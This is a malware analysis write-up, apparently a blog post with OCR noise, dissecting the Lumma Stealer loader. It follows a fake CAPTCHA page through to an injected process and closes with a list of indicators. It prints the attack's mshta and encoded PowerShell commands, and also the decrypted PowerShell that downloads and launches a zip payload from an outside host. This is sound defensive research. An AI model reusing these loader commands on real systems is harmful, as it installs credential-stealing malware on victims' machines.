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In Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We
observed how the malware deceives users into downloading and executing malicious payloads. In this second
series, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation
techniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated
JavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the

malware.

Retrieving and Analyzing the Lumma Loader

After the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader.
The loader is delivered via the following URL:

hxxps[:]//human-check.b-cdn[.Inet/verify-captcha-v7[.]html
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= Verify You Are Human X + v - o X

« C QO B httpsy//human-check.b-cdn.net/verify-captcha-v7.html 80% ¥ ® @ 2

Verification
Steps

1. Press Windows| QOpen: | powershell.exe -eC bQBzAGgAdABhACAAIgBoAHOAdA v|
Button "&&" + R
2. Press CTRL + \

3. Press Enter

=7 Typethe name of a program, folder, document, or Internet
=) o Program. fold
resource, and Windows will open it for you.

By analyzing the payload retrieved through mshta , we start by decoding an encoded Base64 string using
CyberChef:

Recipe ~ OB B  inpun + 0O 8 =

[pQBzAGEAJABhACAAIgBOAHQAJABWAHMAOAVACBACABVAGSADW

ce64 A Q n
Lo AUAGIALQBJAGQAbEAUAGAAZQBRACBACABVAGSAbIWALAA==

Alphabet
A-Za-z0-9+/=

-

Remove non-alphabet
chars

D Strict mode

mc 96 = 1 Tr Raw Bytes 4= LF

~ © 5  Output BOMmE::

mshta "https://poko.b-cdn.net/poko”

Remove null bytes

Encoded Bas64 String;
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bQBzAGgAdABhACAAIgBoAHQAdABWAHMAOgAVAC8ACABVAGSAbwAUAGIALQB jAGQAbgAUAGAAZQBOACBACABVAGSAbWAIAA==

Decoded Baseb64 string;

mshta "hxxps[://]poko[.]b-cdn[.]net/poko""

Examining the 'poko’ File

The poko file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties:

 File Type: PE file
o Packer: No signs of packing detected

v Today (1)
[ poko 6/09/2024 2:42 PM File 163 KB
i Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) - O x

File name
C:\Users\denwp'Downloads \poko
File type File size
PE32 162.66 KiB

Scan Endianness Mode Architecture
Automatic LE 32-bit 1386

* PE32
Compiler: EP:Microsoft Visual C/C++ (2017 v.15.0)[EXE32]
Compiler: Microsoft Visual C/C++(2022 v.17.0)[msvcrt]
Linker: Microsoft Linker(14.30, Visual Studio 2022 17.0")[GUI32]
Overlay: Binary

Shortcuts

Options
Signatures | ¥ Recursive scan ¥ Deepscan || Heuristicscan v Verbose About |
Directory 100% |7 l Log | All types Exit

The file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta processes HTA
(HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or
VBScript. We search the binary for <script> tags using DIE’s Advanced mode:

Navigate to Resources in DIE > Filter for <script> tags
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File name

C:\Users\denwp\Downloads\poko ——

File size S Entry point

v Advanced

162.66 KiB 00400000 0040580 >
Demangle
File info Memory map Disasm Hex Strings Signatures VirusTotal
MIME Search Hash Entropy Extractor
f 1
PE Import Resources Overlay

Time d: P

2065-01-03 04:07:18 Manifest Version

Mode Architecture
Automatic 32-bit 1386
¥ PE32
Compiler: EP:Microsoft Visual C/C++(2017 v.15.0)[EXE32]
Compiler: Microsoft Visual C/C++(2022 0)[msvcrt]
Linker: Microsoft Linker{14.30, Visual Studio 2022 17.0%)[GUI32]
Overlay: Binary

{ Signatures

Directory > g [] Al types

By filtering for <script> tags, we locate two sets of these tags. In the Resources tab, use the search functionality

to find these <script> tags, which signal the presence of JavaScript code embedded within the binary.

8 Pt - ] X

Reload < fex Strings Memory map Entropy Hewri

Info
VirusTotal
Hex

Links

Offset~ Size Type String
[ em—— 00006041 2b A <description>Phone Dialer</description>

Entropy 00006eba of U
Heuristic scan
Extractor

Siynaiures

0000ed90 2b <de tion>Phone Dialer</description>
0000F109 O FileDescription

0001044f 0 <script>

00018670 Ob A ript>MZ

_NT_HEADERS 0001f1ba 2 <description>Phone Dialer</

VIAGE_FILE_HEADER 0 13
+ IMAGE OPTIONAL HEADER 0001£533 FileDescription
IMAGE_DIRECTORY_ENTRIES 00020879 pr>
Rich Signature 0002089F fscript> MZ
Sections
Info 7 4 2 <description>Phone Dialer</description>

Import 2 FileDescription
Resources
Version
Manifest
Relocs
Nakin

Dumping JavaScript
There are three ways we can dump the embedded JS data.
Using Detect It Easy

To extract embedded JavaScript, we follow these steps in DIE. Right-clicking on a script tag and selecting

"Follow in > Hex" shows us the hex and ASCII representation of the code, confirming that it’s JavaScript.
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Reload

Info
VirusTotal
Hex
Disasm
Hash

Il Strings Offset ™ Size Type String
Signatures
Memory map
Entropy 00006eba of U FileDescription

E{elurrt ic scan 0000ed90 2b A <description>Phone Dialer</description>
5; ;,ac;' ! AONNFING
Tools
IMAGE_DOS_HEADER
Dos stub
IMAGE_NT_HEADERS

IMAGE_FILE_HEADER
* IMAGE_OPTIONAL_HEADER

IMAGE_DIRECTORY_ENTRIES

Rich Signature
Sections

Info

0000641 b A <description>Phone Dialer</description>

<description>Phone Dialer</description>

FileDescription

Looking at the right panel, we see some code inside. After analyzing the first script tag, we use the same approach

for the second script tag found under 'strings'.

[ w

usTotal

Disasm

Hash

Strings
Signatures
Memory map

W W

IMAGE_DOS_HEADER
Dos stub
IMAGE_NT_HEADERS
IMAGE_FILE_HEADER
~ IMAGE_OPTIONAL_HEADER
IMAGE_DIRECTORY_ENTRIES
Rich Signature

Resources
Version
Manifest

Relocs

amory map En ] Heuristic

Info
VirusTotal
Hex
Disasm
Hash
Offset™ Size Type String
00006641 2b A <description> Phone Dialer</description>
00006eba of FileDescription
s aa (0000ed%0 2b <description> Phone Dialer</description>
Extractor -
Search 0000F109 of FileDescription
Tools 001044F 3 A <script>
IMAGE_DOS_HEADER P —
Dos stub 00018670 cript>MZ
IMAGE_NT_HEADERS 0001f1ba 2b A description> Phone Dialer</description>
IMAGE_FILE_HEADER 0 13
=l 1 D001F5.
~ IMAGE_OPTIONAL_HEADER e —— -
IMAGE_DIRECTORY_ENTRIES <script>
002083 </script>h
0002739

FileDescription

Sections
Info
Import 27 FileDescriptd
Resources
Version
Manifest
Relocs
Nehiin

From the ASCII symbols, we can see that the script code is closing windows. Now that we have both sections, we
can select all the hex values between the opening and closing script tags, copy them, and save them to a file. This

will give us the JavaScript code.
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Hex Disasm Strings Memory map Entropy Heuristic scan | v Readonly
Data inspector

Symbols

<script>. .eval (P

HF) . .window.clos
.</secript>M

Memory map
Entropy
Heuristic scan
Extractor
Search
Tools
IMAGE_DOS_HEADER
Dos stub
IMAGE_NT_HEADERS
IMAGE_FILE_HEADER
= IMAGE_OPTIONAL_HEADER
IMAGE_DIRECTORY_ENTRIES
Rich Signature
Sections
Info
Import
Resources
Version
Manifest
Relocs

o - L.!'Thi
8 program cannot
be
ode...

run

Using HexedIT

HexedIT provides an intuitive graphical interface for extracting JavaScript. We open the binary in HexedIT and

search for <script> tags with Ctrl + F .

W
:_9] File Edit Search View Analysis Tocls Window Help

B v | H @~ v
i) poko

Offset (h)

Windows (ANSI) v

02 03 Decoded
8ESPSOSPS.9.9%9L
9W9i9qov9{9.9£9"
o 94,0E2080819-9pb
G=:G:M:W:r: :):°
sffes el a8 =22

Find X

08

00 01

text

3C 31 =

3c 73 Text-string Hex-values Integer number Floating point number
3C DO

3C 15 Search for: <script> v | |
3D 51

3D s Options Search direction
;:_ - TJext enceding: Oan

20 - (Editor enceding) ~ (® Forward

31 97 (O Backward

[ Case sensitive

(= )
(=T = o

(=1
o

10400

;;;:;2;2 gg Search all Cancel
00010430 00

00010440 00

00010450 30

00010460 31

>

We then select the data between these tags and save it to a new file.
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cE Saeio N, EA,vl,Qt,vl, kv, kv,Qt, vl EA,
SR, Ot , vl , kv, tY,0C,vl, Y, I5,0
6B 76 2C

f e e Paste insert

3C 76 6C Paste write

6B 76 2C X Delete

- Fill selection...

eB Te 20 Select block...  Ctrl+E
S Select all Ctrl+A

;3 —, : Copy offset  Alt+Ins
ESR-IolC- S\, Ot , v1,tY, IS,Qt,vl, kv, EA,Q

Using a Custom Python Script

We can also use a custom Python script to automate the extraction of JavaScript from the binary. The script reads
the binary, searches for <script> tags, and extracts the code between them. Here is a glimpse of the extracted

code.

The first script tag contains code that assigns random numbers to different variables.

The second script utilizes the eval function to execute obfuscated code, which includes a window.close()

function.

[+]

eval (PHF)
window.close():

The following example Python script illustrates how this can be accomplished:
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import sys

import re

def extract_scripts(binary_file):
try:
with open(binary_file, "rb") as f:

binary_data = f.read()

# Convert binary data to string (Assuming it's encoded in utf-8 or similar encoding)
try:

data = binary_data.decode("utf-8", errors="ignore")
except UnicodeDecodeError:

print("[-] Failed to decode binary data.")

sys.exit(1)

# Find all the script tag contents using regex
scripts = re.findall(r'<script.*?>(.*?)</script>', data, re.DOTALL | re.IGNORECASE)

if scripts:
for i, script in enumerate(scripts, start=1):
print(f"[+] Script {iX\n{script.strip()}\n")
else:
print("[-] No Script found.")

except FileNotFoundError:
print(f"[-] File {binary_file} not found.")
except Exception as e:

print(f"[-] An error occurred: {str(e)}")

if __name__ == "__main__

if len(sys.argv) != 2:
print("Usage: python extract.py <binary_file>")
sys.exit(1)

binary_file = sys.argv[1]

extract_scripts(binary_file)

Debugging the JavaScript
With the JavaScript code dumped, we now focus on deciphering the obfuscation.
First obfuscation

We can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This

reveals the obfuscated sections more clearly, showing random variable assignments and functions.
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= seriptite @ |
kscrip

After beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we
find a variable named PHF . This indicates that PHF holds the code passed to the second script via the eval

function.

Y{var mxx= for (var gAH = 0; gAH <
.length; gAH++) {var AEP = String.fromCharCode(kZO[gAH]

- 889):mxx = mxx + AEP}return mxx}:var HKb = zsi([1001
., 1000, 1008, 990,1003,1004 9 37,997, 9: 0.1009

,990,921,934,10 2 .921,934,990,1001.921,974,999

,1003,9%0,1004,1005,1003,994,988,1005,990,989,921,934
,1000,1001,921,991,1006,999,988,1005,994,1000,999
.969,1001,988,961,964,929, .956,1010,976,1011

s .1003,990,1005,1006,1003,999,921,934

,1004,1001,997.994,1005,921,929.925,956.1010.976.1011

90,1001,997,986,988, ,921,928
.928,937,1009,925,927,921,928,930

45,943
. 957 38. . +956,954
940
955.9
945,
938 956,959,957.943,945

Second Obfuscation

Beautification of the next layer of code reveals that the zsi function processes an array of numbers by

converting them into characters, which are then concatenated into a string.

Page 9 of 20



https://denwp.com /dissecting-lumma-malware/

Lt

J |H scriptl - Copy.txt

|E scriptl.vbs

! [=] deobfus_codetxt £ |

function zsi(kZ0) {

var mxx = ;

for (var gAH = 0; ghAH < kZO.length; gAH++) {
var AEP = String.fromCharCode (kZO[gAH] - ) :
mxx = mxx + AEP
}
return mxx
}:
var HEb = zsi([ ] ¥ ] ¥ ’ I ¢ ¥ ] i
' r r r ' r r r r r ’ ' r
r " r I ' r r r ' ’ r v r
’ r r r " ' r r r ’ r r
var ZhX = zsi([ ] ] ] ] ] ] v ] ] ' '
var NHdD = new ActiveXObject (ZhX) ;

NdD.Run (HEKDb, , true):;

We pass the final variables, Hkb and ZhX to console.log() to see the decoded data.

e,

929,

Tuug, . T,

994,

1003,
zsi([

U,

var ZhX

1):

Third obfuscation

Uy,

940, 93 .
-nop function

HKb: powershell.exe -w 1 -ep Unrestricted
yWzqO){return -split ($CywzqO
*)}:$X0bCaUg = PpcHK

("9DF786E7557D0

-replace *..",

B4B9EF447917D8C2
5 94DB! E DDEABAE34DBA4
1A731A315453F3DAA780864D71A7D3EEOE09119CB39F1F66E1E7F64
D9 1134AB6 8CF106D536F18
C1004873ECABD601968B10C 834

00A9D6D25CB73B5DOCF

4E0150695BFFF352B36842
254FCF27737F52B9F92273099
SB7F71A5294D4522994FDE74CA8

After obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes

several values that appear to be hex data and uses wscript to execute them.

) }: §XObCalg = PpcHE(

powershell.exe -w -ep Unrestricted -nop

) : SWXQRI . IV
FinalBlock ($XObCallg, ©, $XObCaUg.Len
,7) $gDxOzyutr.Substring(:)

Subst

WScript.Shell

function PpcHK(§CyWzqO) {return -split (§CyWzqO -replace

gth) :$ghxOzyutr = [System.Text.Encoding]::

Aes]::Create() ;$wXQRI.Key = PpcHK(
CreateDecryptor () :SaxsOwinmE = SCznANWKS.
tf8.GetString ($axsOwjnmK) ; $CznANWKS . Dispose () ;& $ghxOzyutr.

') :§WXQRI = [System.Secu:

bject byte[] 1¢:5CznANWKS = SwiXQ

The code also shows that it uses AES encryption, with the decryption key hardcoded into it.
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SWKQRI = [System.Se /.Rea] : iCreate () JWKQRI . Key = PpoK('74726750436967525576794a5 6872691y | P AES Decrypt Key

Decrypting obfuscated code using CyberChef

With the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as
hex into CyberChef and set the initialization vector (IV) value to "0000000000000000" (sixteen zeros). If no IV is
provided, it defaults to null.

The IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to
ensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is

128 bits or 16 bytes (16 zeros in hexadecimal representation).

Using a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically
generated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it's
crucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance
security. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may

simplify the analysis but does not represent best practices for secure encryption.

Recipe ~amu Input + O3 m =

ODF786E7557D@9133CAR463B323935E116080B4BOEF447917D8C2316F 3BF6E5150CFD68C4305
6B96E3FD94DB5CB33420D6ABAE34D8A41AT731A315453F 3DAATE80864D71ATD3EEBEAO119CB39F

1FE6EL1ETF64D9F681134AB64B07BAER150695BFFF352B83684269A8CF1060536F18C1004873EC

From Hex ~Qmn

Delimiter
Auto ABD681968B18C193254FCF27737F52B9F02273099583400A9D6D25CE73B5D8CF786655B7F71A
5294D4522994FDE7ACAB22160E57784E7DD3E68A120788177DD58721BEF9EBB6DBEFDAF1EAFF
848A1850BBCS5E8BEAT5439D68DB9G6F1336311DCB22313D3C8954D3277F4E884B762B3CFDETC
AES Decrypt ~ Qn BBOAD9844970526940400738E588BEBFA1EF 3C756908C08058525CEA997B6456C2050165C9F96
94245DEAGG4D416A3300DA28E11A2DFBA4ABD9326CB6D42B3698EEE4162BCOS6ABERGRAF4ER48
Key BD6F6BFF4BA92D4DBE47411DE18444311CA1F931D4494ECT738DBB65F18945FF9CC195354E8D0
747267504B6967525976794A5168 ... HEX 3ABDCASBEBBS8E6BF11C14542DAS50EBBA3480441045FEB2938FB69023D9A6AT98FFCEFDI15E35CD
C472B2AGDDABEEBO3E4A758F283914DB6ESEBE35C322236EDB63DA9622BBEF952101A993CBR92
W Mode F3383A76034BESFDSD19DDFBDABEDS4F8827 7B7ABCECT416D6CA41D38160AE374933E88678C2 Vv
EX~ = ¥ LF
3000000000000 HEX CBC Szt Tr Row Bytes
Output ga0Dm:
Input Output
Raw Raw iexfunction XgG($gse, $ndH){[IO.File]::WriteAllBytes($gse, $ndH)};function

EKF($gse){$FqBav = $env:Temp;Expand-Archive -Path $gse -DestinationPath
$FgBav;Add-Type -Assembly System.IO.Compression.FileSystem;$zipFile =
[I0.Compression.ZipFile]::OpenRead($gse);$INGpm =($zipFile.Entries | Sort-
Object Name | Select-Object -First 1).Name;$jeak = Join-Path $FgBav
$INGpm;start $jeaE ;};function QyY($wIH){$DbL = New-Object (nzv
@(6728,6751,6766,6696,6737,6751,6748,6717,6758,6755,6751,6760,6766));
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::TLS12;$ndH = $DbL.DownloadData($wIH);return
$ndH}; function nzv($asL){$KFb=6650;%Lev=$Null;foreach($Je0 in $asL)
{$Lev+=[char]($1e0-§KFb)};return $Lev};function YWy(){$bHT = $env:Temp +

L} ‘N;;38W0IPW = $bHT + ‘'wifi.zip'; if (Test-Path -Path $wOIPw){EKF $wOIPw;}
Else{$hGsnooYpQuZ = QyY (nzv
@(6754,6766,6766,6762,6765,6708,6697,6697,6762,6761,6757,6761,6696,6748,6695,6
749,6750,67608,6696,6760,6751,6766,6697,6769,6755,6752,6755,6696,6772,6755,6762
)):Xg6 $wOIPw $hGsnooYpQuZ;EKF $WwOIPW};;; }YWy;

From the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its
functionality. It begins with a function that handles binary data. The EkF function extracts the zip file and saves

it to the temp directory. The QyY function obfuscates the URL by hiding characters behind numbers, and it
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contains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string.
Finally, the YWy function manages error handling with if/else statements, checking if the file exists and

downloading the zip file if it does not.

[iexfunction XgG(Sgse, SndH) {
[10.File]::riveRliByces (Sgse, $ndf) = g \Writes binary data
}:
I

|—/function EKF(§gse) {
§FgBav = §env:Tenmp;

rchive - Path §gse - DestinationPath §PgBav: Extracts Zip to temp directory
- Assembly System.IO.Compression.FileSystem; /
[10.Compression.ZipFile] : :OpenRead (§gse) ;

§INGpm = (§zipFile.Entries | Sorc - Object Mame | Select - Object - First 1).Name:
§jeaE = Join - Pach §FqBav $INGpm;
starc §jeak;

Ly;
[Cfunction QvY(§wJH) (
§DbL = New - Object (nzv B(:729, ' ) v . » : s . ' , ' )): —p  Downloads data from path
[Net.ServicePointManager] : : SecurityProtocol = [Net.SecurityProtocolType]: :TLS12;
§ndH = $DbL.DownloadData (§wJH) ;
return $ndH
Vi
[“lfunction nzv(§asL) {
SKFb = : —p Deobfuscates the numbers into string
Slev = $Null:
foreach (§Je0 in $asL) |
$Lev += [char] (§Je0 - SKFb)

T

¥
return §lev
Vi

anct W ina. if fi

Lr ‘mcs;; - :e‘:\v:trzm: + '\';;:$wOIPw = SbHT + 'wifi.zip': Error handling, if file exists.

= if (Test - Path =- Path $wOIPwW) | If no zip file, download the zip file
EkF $wOIPw;

} Else {
$hGsnoo¥pQwZ = Qv¥ (nzv B( .
. » . . ¥
XgG $wOIBw §hOsnooYpQws:
EkF $wOIPw

De-obfuscating PowerShell code

Since the code is in PowerShell, we can use the write-output function to read the values stored in the variables.
We copy the nzv function, which handles the decryption of characters, and save the results to separate variables.
Running the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download
the file.
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= g » ' | = 8 B oo m0o.
Untitled1.ps1* X
1 function nzv($asSL) {

2 $KFb = 6650;
SLev = 11

= foreach($Je0 S
SLev += [char](8)e0 - $KFb)

[

1.
¥
return SLev

o

]

XTI TN

Write-Output
Write-Output

PS C:\Users\denwp> function nzv($asL) {
$KFb = 6650;
SLev = $Null;
foreach($Je0 in $aSL) {
$Lev += [char]($Je0 - $KFb)
tH
return SLev

HH

$5tringl = @(6728, 6751, 6766, 6696, 6737, €751, 6748, 6717, 6758, 6755, 6751, 6760, 6766)
$5tring2 = @(6754, 6766, 6766, 6762, 6765, €708, 6697, 6697, 6762, 6761, 6757, 6761, 6696, 6748, 6695, 6749, 675

$deobfusl = nzv $5tringl
$deobfus2 = nzv $5tring2

Write-Output "$String 1: $deobfusi”
Write-Output "$5tring 2: $deobfus2™
1: Net.wWebClient

2: https://poko.b-cdn.net/wifi.zip

PS C:\Users\denwp> |

Downloaded zip file

We proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to

impersonate "Aeon Timeline."

hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip

1is PC » Downloads » wifi v 0 Search wif
-

Name Date modified Type Size

£ OAeon Timeline.exe 30/08/2024 10:59 AM Application 9,135 KB
%] WINSSNAP.DLL Application exte 455 K
%] WMADMOD.DLL Application exte 6 K
%] wsbmmic.ni.dll Application exten.. 994 KB
%] waemsw32u_xrc_gce_custom.dll M Application exten.. 729 KB
% XpsFilt.dll Application exten.. 901 KB

By performing static analysis with PEStudio, we gather more information about the file. The version details

indicate that the installer is masquerading as a PC Cleaner application.
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pestudio 9.56 - Malware Initial Assessment - www.winitor.com - [c:\users\denwp\downloads\wifi\0zeon timeline.exe] - [read-only] - O X

file settings about

Fld X E T

Sl clusers\denwpl\downloads\wifi\Oaeon timeline.s value
“é DO D242E23234F2F54TB0B02792C52FF4663193FBDDS48701F3CE397952E578E308
E} ocation sre:0x008EABCS
2 file-type executable
» dos-header (size > 64 bytes)
= language neutral
code-page Unicode UTF-16, little endian
file-header (executable > 32-bit) Comments This installation was built with Inno Setup.
optional-header (subsystem > GUI) CompanyName PC Helpsoft
By directories (count > 4) FileDescription PC Cleaner
FileVersion 9.6.0.8
| LegalCopyright PC Helpsoft
£ OriginalFileName
L ProductName PC Cleaner
=0 ProductVersion 9.6.0.8
I
"4 resources (count > 16)
e [y Impersonates as PC Cleaner
.__(i;.
&l manifest (level > asinvoker)
(]

Using DIE, we also confirm that the application has been compiled with Go Language.

| E Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) — a b4
File name
C:\Users\denwp\Downloads\wifi\0Aeon Timeline, exe

File type File 3 ess Entry point B

PE32 8.92 MiB 00472d30 > [ ]
Demangle
File info Memory map Disasm Hex Strings ignatures VirusTotal
Search Hash Entropy Extractor
= =
[ Import [ Resources

Time date stamp of image Resources
E 1970-01-01 11:00:00 0091000 Manifest Version

Scan Endian Mode Architecture Type

Automatic LE 32-bit 1386 GUI
v PE32
Compiler Go(1.15.0-X.XX.X)
Shortcuts

Options

Signatures v ursive scan v Deep scan : Heuristic scan v Verbose About

Directory 100% Log [] All types 905 msec Exit

Dynamic analysis

After obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo

upon installation.

Our earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts.

Confirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection,
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injecting malicious processes into BitLockerToGo.

‘ TSR SR | 1] rueus

= DAson Timeline exe (5424) PC Cleaner
j:gu Bit LockerToGo exe (43508) BitLocker To Go ...

Dumping injected process
To dump the malicious process, we use "Hollows Hunter."

Hollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows
environments. It specializes in identifying processes that have been injected with malicious code or exhibit
suspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for
further analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by
injecting into legitimate processes. It provides security analysts with critical insights into malicious activities,

helping them to understand and mitigate threats more effectively.

We first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to

Hollows Hunter. The tool then detects the suspicious process and dumps the file.

_hunter\dum

HollowsHunter v.©
Built on: Nov 10 2823

using: PE-sieve v.0.3.8.0

Scanning

Lumma C2
After dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer.

0 Follow~  C Reanalyze & Download ~ == Similar v More

fa236: 3fafd7fdf2481cee9bsasffos7elddcsbyifealbb23boc306db Size L: EVE te %L

340000.BitLockerToGo.exe 360.00 KB 7 minutes ago EXE

checks-userinput  detect-debug-environment

Analyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of

any packer being used.
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&l Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) - O %

File name

C:\Users\denwp\Downloads\340000.BitLocker ToGo.exe

File type 7 Base address Entry point

v Advanced
PE32 .00 Ki 00340000 003494d0 _
Demangle

File info Memory map Disasm Hex Strings Signatures VirusTotal
Search Hash Entropy Extractor

. D e
Import

Time date stamp Size of image

2024-08-12 04:45:09 0005a000

Endianness Architecture

Automatic LE 32 1386

v PE32
Linker: Microsoft Linker(14.0)[GUI32]

[~
=

uts

Options

Signatures v Recursive sC e can _ Heuristic scan v Verbose About
Directory 100% og ] Al types 98 msec Exit

As is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma

Stealer has recently been associated with '.shop.' domains, we use this as a filter and find a match.

Strings — O X
= [JutF8 v Unicode [ | ings 5 = [] Search

Size Type String

14U futureddospzmvg.shop

futureddospzmvq[ . Jshop

We can also use Ghidra's search function to pinpoint the exact function that calls the C2 domain.

1 | ~ | 25| char *ocVar2l:
¥ String Search [CodeBrowser: temp:/340000.BitLockerToGo.exe] - m] X

Edit Help

-h. String Search - 1 items (of 128) - [340000.BitLockerToGo.exe, Minimum

ARERA T 6™ =x

.. loca.. B Label Code Unit String View Strin... Lle... IsWord
@ 0038b630 DAT_0038b630 u“futureddospzmvq.shop™ unicode

Summary
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In this analysis, we thoroughly examined the Lumma Stealer malware's loader and payload, uncovering its
intricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake
CAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in
decoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the
malware, masquerading as a legitimate application, performs process injection to carry out its malicious

operations.

Through tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core
components of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and
persistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and

underscores the importance of detailed analysis to uncover and understand these threats.
I10C

File Hash
SHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fealbb23b0c306db -> Injected Process

SHA?256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -> 0Aeon Timeline.exe

URL:
hxxps|:]//human-check.b-cdn[. net/verify-captcha-v7[.]html

hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip

C2:
bassizcellskz[.]shop

celebratioopz[.]shop

complaintsipzzx[.]shop

deallerospfosul.]shop

futureddospzmvq[.]shop -> Found inside the binary
languagedscie[.]shop

mennyudosirsol.]shop

quialitsuzoxm[.]shop

writerospzm|[.]shop

Reference:

How to pick an appropriate IV (Initialization Vector) for AES/CTR/NoPadding?

I would like to encrypt the cookies that are written by a webapp and I would like to keep the size of

the cookies to minimum, hence the reason I picked AES/CTR/NoPadding. What would you

recommend...
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Stack OverflowDrew

GitHub - hasherezade/hollows hunter: Scans all running_processes. Recognizes and dumps a variety

of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).

Scans all running processes. Recognizes and dumps a variety of potentially malicious implants

(replaced/implanted PEs, shellcodes, hooks, in-memory patches). - hasherezade/hollows hunter
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GitHubhasherezade

hasherezade/
hollows_hunter

Scans all running processes. Recognizes and
dumps a variety of potentially malicious implants
(replaced/implanted PEs, shellcodes, hooks, in-

memory patches).
A3 ® 2 v 2k Y 288

Contributors Issues Stars Forks
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